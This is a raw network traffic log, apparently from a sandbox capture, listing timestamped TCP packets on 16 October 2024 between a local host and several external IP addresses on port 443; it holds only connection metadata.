Oct 16, 2024 17:56:34.418328047 CEST	443	49745	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:34.418385029 CEST	49745	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:34.418390989 CEST	443	49745	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:34.430402994 CEST	49754	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:34.430438042 CEST	443	49754	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:34.430752993 CEST	49754	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:34.430896044 CEST	49754	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:34.430912018 CEST	443	49754	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:34.438043118 CEST	49755	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:34.438064098 CEST	443	49755	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:34.438237906 CEST	49755	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:34.439879894 CEST	49755	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:34.439888954 CEST	443	49755	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:34.442317009 CEST	49756	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:34.442406893 CEST	443	49756	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:34.442595005 CEST	49756	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:34.442595005 CEST	49756	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:34.442688942 CEST	443	49756	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:34.837208033 CEST	443	49749	103.83.194.55	192.168.2.5
Oct 16, 2024 17:56:34.837286949 CEST	443	49749	103.83.194.55	192.168.2.5
Oct 16, 2024 17:56:34.837444067 CEST	49749	443	192.168.2.5	103.83.194.55
Oct 16, 2024 17:56:34.853019953 CEST	49749	443	192.168.2.5	103.83.194.55
Oct 16, 2024 17:56:34.853061914 CEST	443	49749	103.83.194.55	192.168.2.5
Oct 16, 2024 17:56:35.171493053 CEST	443	49753	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:35.172199965 CEST	49753	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:35.172269106 CEST	443	49753	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:35.174660921 CEST	443	49752	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:35.174909115 CEST	443	49755	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:35.176947117 CEST	49753	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:35.176963091 CEST	443	49753	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:35.177295923 CEST	49752	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:35.177325964 CEST	443	49752	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:35.177783012 CEST	49755	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:35.177789927 CEST	443	49755	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:35.177819967 CEST	49752	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:35.177824020 CEST	443	49752	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:35.178303003 CEST	49755	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:35.178308010 CEST	443	49755	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:35.190104961 CEST	443	49754	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:35.190440893 CEST	49754	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:35.190478086 CEST	443	49754	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:35.190877914 CEST	49754	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:35.190886974 CEST	443	49754	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:35.301789045 CEST	443	49753	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:35.301873922 CEST	443	49753	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:35.301930904 CEST	49753	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:35.302167892 CEST	49753	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:35.302211046 CEST	443	49753	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:35.302237034 CEST	49753	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:35.302257061 CEST	443	49753	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:35.304406881 CEST	443	49755	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:35.304480076 CEST	443	49755	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:35.304548979 CEST	49755	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:35.304632902 CEST	49755	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:35.304683924 CEST	443	49755	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:35.304712057 CEST	49755	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:35.304728985 CEST	443	49755	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:35.305094004 CEST	443	49752	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:35.305357933 CEST	443	49752	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:35.305413961 CEST	49752	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:35.305599928 CEST	49757	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:35.305640936 CEST	443	49757	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:35.305704117 CEST	49757	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:35.305908918 CEST	49752	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:35.305918932 CEST	49757	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:35.305922985 CEST	443	49752	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:35.305936098 CEST	443	49757	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:35.305954933 CEST	49752	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:35.305965900 CEST	443	49752	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:35.307490110 CEST	49758	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:35.307502031 CEST	443	49758	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:35.307566881 CEST	49758	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:35.307883978 CEST	49758	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:35.307898045 CEST	443	49758	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:35.308023930 CEST	49759	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:35.308140039 CEST	443	49759	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:35.308202982 CEST	49759	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:35.308275938 CEST	49759	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:35.308296919 CEST	443	49759	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:35.323026896 CEST	443	49754	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:35.323381901 CEST	443	49754	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:35.323471069 CEST	49754	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:35.323510885 CEST	49754	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:35.323510885 CEST	49754	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:35.323532104 CEST	443	49754	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:35.323554039 CEST	443	49754	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:35.325566053 CEST	49760	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:35.325604916 CEST	443	49760	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:35.325673103 CEST	49760	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:35.325808048 CEST	49760	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:35.325820923 CEST	443	49760	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:35.529995918 CEST	443	49756	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:35.564857960 CEST	49761	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:35.564904928 CEST	443	49761	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:35.564990997 CEST	49761	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:35.565455914 CEST	49762	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:35.565463066 CEST	443	49762	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:35.565552950 CEST	49762	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:35.566498041 CEST	49761	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:35.566509962 CEST	443	49761	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:35.567291975 CEST	49762	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:35.567302942 CEST	443	49762	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:35.572853088 CEST	49756	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:35.594180107 CEST	49756	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:35.594212055 CEST	443	49756	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:35.594944954 CEST	49756	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:35.594949961 CEST	443	49756	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:35.723766088 CEST	443	49756	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:35.724010944 CEST	443	49756	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:35.724078894 CEST	49756	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:35.724441051 CEST	49756	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:35.724507093 CEST	443	49756	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:35.724565983 CEST	49756	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:35.724584103 CEST	443	49756	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:35.734164953 CEST	49763	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:35.734215975 CEST	443	49763	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:35.738956928 CEST	49763	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:35.738956928 CEST	49763	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:35.739032984 CEST	443	49763	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.052591085 CEST	443	49757	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.053330898 CEST	49757	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:36.053348064 CEST	443	49757	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.054408073 CEST	49757	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:36.054414034 CEST	443	49757	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.056442976 CEST	443	49758	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.058917046 CEST	49758	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:36.058934927 CEST	443	49758	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.059902906 CEST	443	49759	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.059946060 CEST	49758	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:36.059951067 CEST	443	49758	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.060488939 CEST	49759	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:36.060523987 CEST	443	49759	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.062578917 CEST	49759	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:36.062585115 CEST	443	49759	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.071204901 CEST	443	49760	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.072020054 CEST	49760	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:36.072036982 CEST	443	49760	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.072628021 CEST	49760	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:36.072638988 CEST	443	49760	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.182104111 CEST	443	49757	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.182894945 CEST	443	49757	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.183048964 CEST	49757	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:36.183636904 CEST	49757	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:36.183636904 CEST	49757	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:36.183655977 CEST	443	49757	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.183660030 CEST	443	49757	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.185355902 CEST	443	49761	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:36.186352968 CEST	49761	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:36.186381102 CEST	443	49761	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:36.186446905 CEST	443	49758	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.186506033 CEST	443	49758	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.187001944 CEST	49758	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:36.187340975 CEST	49758	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:36.187340975 CEST	49758	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:36.187347889 CEST	443	49758	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.187351942 CEST	443	49758	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.187449932 CEST	443	49761	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:36.187664986 CEST	49761	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:36.189907074 CEST	49761	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:36.189977884 CEST	49761	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:36.189979076 CEST	443	49761	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:36.189977884 CEST	49761	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:36.190051079 CEST	49761	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:36.190522909 CEST	49764	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:36.190566063 CEST	443	49764	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:36.192569017 CEST	443	49759	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.192640066 CEST	443	49759	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.192670107 CEST	49764	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:36.192737103 CEST	49759	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:36.193136930 CEST	49765	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:36.193166971 CEST	49764	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:36.193176985 CEST	443	49764	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:36.193244934 CEST	443	49765	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.193680048 CEST	49759	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:36.193695068 CEST	443	49759	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.193743944 CEST	49759	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:36.193748951 CEST	443	49759	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.193767071 CEST	49765	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:36.196430922 CEST	49766	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:36.196454048 CEST	443	49766	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.196512938 CEST	49765	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:36.196547985 CEST	443	49765	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.196583033 CEST	49766	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:36.196681023 CEST	49766	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:36.196706057 CEST	443	49766	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.197079897 CEST	49767	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:36.197118044 CEST	443	49767	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.197232008 CEST	49767	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:36.197289944 CEST	49767	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:36.197307110 CEST	443	49767	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.201723099 CEST	443	49760	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.201885939 CEST	443	49760	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.201968908 CEST	49760	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:36.201968908 CEST	49760	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:36.202094078 CEST	49760	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:36.202100992 CEST	443	49760	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.203828096 CEST	49768	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:36.203865051 CEST	443	49768	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.204025030 CEST	49768	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:36.204132080 CEST	49768	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:36.204144001 CEST	443	49768	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.230031967 CEST	443	49762	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:36.230804920 CEST	49762	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:36.230813026 CEST	443	49762	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:36.234452009 CEST	443	49762	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:36.234796047 CEST	49762	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:36.242382050 CEST	49762	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:36.242382050 CEST	49762	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:36.242382050 CEST	49762	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:36.242536068 CEST	443	49762	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:36.242681026 CEST	49769	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:36.242752075 CEST	443	49769	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:36.242791891 CEST	49762	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:36.246920109 CEST	49769	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:36.250412941 CEST	49769	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:36.250449896 CEST	443	49769	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:36.485513926 CEST	443	49763	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.536066055 CEST	49763	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:36.561491013 CEST	49763	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:36.561491013 CEST	49763	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:36.561530113 CEST	443	49763	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.561559916 CEST	443	49763	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.697969913 CEST	443	49763	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.698121071 CEST	443	49763	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.702214003 CEST	49763	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:36.796133041 CEST	49763	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:36.796169043 CEST	443	49763	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.815032959 CEST	49770	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:36.815073967 CEST	443	49770	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.815138102 CEST	49770	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:36.815757036 CEST	49770	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:36.815769911 CEST	443	49770	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.826064110 CEST	443	49764	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:36.830149889 CEST	49764	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:36.830164909 CEST	443	49764	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:36.831609011 CEST	443	49764	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:36.831670046 CEST	49764	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:36.833921909 CEST	49764	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:36.834006071 CEST	443	49764	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:36.834563971 CEST	49764	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:36.834580898 CEST	443	49764	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:36.866883039 CEST	443	49769	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:36.867186069 CEST	49769	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:36.867230892 CEST	443	49769	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:36.871025085 CEST	443	49769	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:36.871098042 CEST	49769	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:36.871866941 CEST	49769	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:36.872061968 CEST	443	49769	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:36.887437105 CEST	49764	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:36.916490078 CEST	49769	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:36.916515112 CEST	443	49769	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:36.936603069 CEST	443	49767	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.937654972 CEST	49767	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:36.937690020 CEST	443	49767	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.938698053 CEST	49767	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:36.938703060 CEST	443	49767	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.943407059 CEST	443	49765	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.944096088 CEST	49765	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:36.944180012 CEST	443	49765	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.945065022 CEST	49765	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:36.945079088 CEST	443	49765	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.963979006 CEST	49769	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:36.971210957 CEST	443	49768	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.971827030 CEST	49768	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:36.971857071 CEST	443	49768	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.972800970 CEST	49768	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:36.972805023 CEST	443	49768	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:36.976361036 CEST	443	49764	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:36.976423979 CEST	443	49764	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:36.976470947 CEST	49764	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:36.976488113 CEST	443	49764	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:36.976843119 CEST	443	49764	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:36.976887941 CEST	49764	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:36.976896048 CEST	443	49764	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:36.976943016 CEST	443	49764	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:36.976988077 CEST	49764	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:36.982692957 CEST	49764	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:36.982705116 CEST	443	49764	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:37.067743063 CEST	443	49767	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.067908049 CEST	443	49767	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.067981005 CEST	49767	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.074832916 CEST	443	49765	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.074901104 CEST	443	49765	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.074963093 CEST	49765	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.092834949 CEST	49771	443	192.168.2.5	35.190.80.1
Oct 16, 2024 17:56:37.092891932 CEST	443	49771	35.190.80.1	192.168.2.5
Oct 16, 2024 17:56:37.092956066 CEST	49771	443	192.168.2.5	35.190.80.1
Oct 16, 2024 17:56:37.094491005 CEST	49771	443	192.168.2.5	35.190.80.1
Oct 16, 2024 17:56:37.094506025 CEST	443	49771	35.190.80.1	192.168.2.5
Oct 16, 2024 17:56:37.096250057 CEST	49767	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.096250057 CEST	49767	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.096312046 CEST	443	49767	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.096339941 CEST	443	49767	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.098541975 CEST	49765	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.098587990 CEST	443	49765	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.098615885 CEST	49765	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.098634005 CEST	443	49765	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.099699020 CEST	443	49768	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.099868059 CEST	443	49768	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.099920988 CEST	49768	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.101020098 CEST	49768	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.101030111 CEST	443	49768	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.103413105 CEST	49769	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:37.106487989 CEST	49772	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.106576920 CEST	443	49772	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.106648922 CEST	49772	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.107403994 CEST	49773	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.107443094 CEST	443	49773	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.107533932 CEST	49773	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.108448029 CEST	49772	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.108483076 CEST	443	49772	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.108550072 CEST	49773	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.108561993 CEST	443	49773	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.111027002 CEST	49774	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.111052036 CEST	443	49774	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.111119986 CEST	49774	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.111280918 CEST	49774	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.111290932 CEST	443	49774	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.151403904 CEST	443	49769	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:37.229167938 CEST	443	49769	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:37.229324102 CEST	443	49769	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:37.229393959 CEST	49769	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:37.229414940 CEST	443	49769	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:37.229444981 CEST	443	49769	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:37.229492903 CEST	49769	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:37.229530096 CEST	443	49769	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:37.229672909 CEST	443	49769	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:37.229728937 CEST	49769	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:37.229753017 CEST	443	49769	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:37.229851961 CEST	443	49769	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:37.229904890 CEST	49769	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:37.229919910 CEST	443	49769	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:37.277358055 CEST	49769	443	192.168.2.5	172.67.157.17
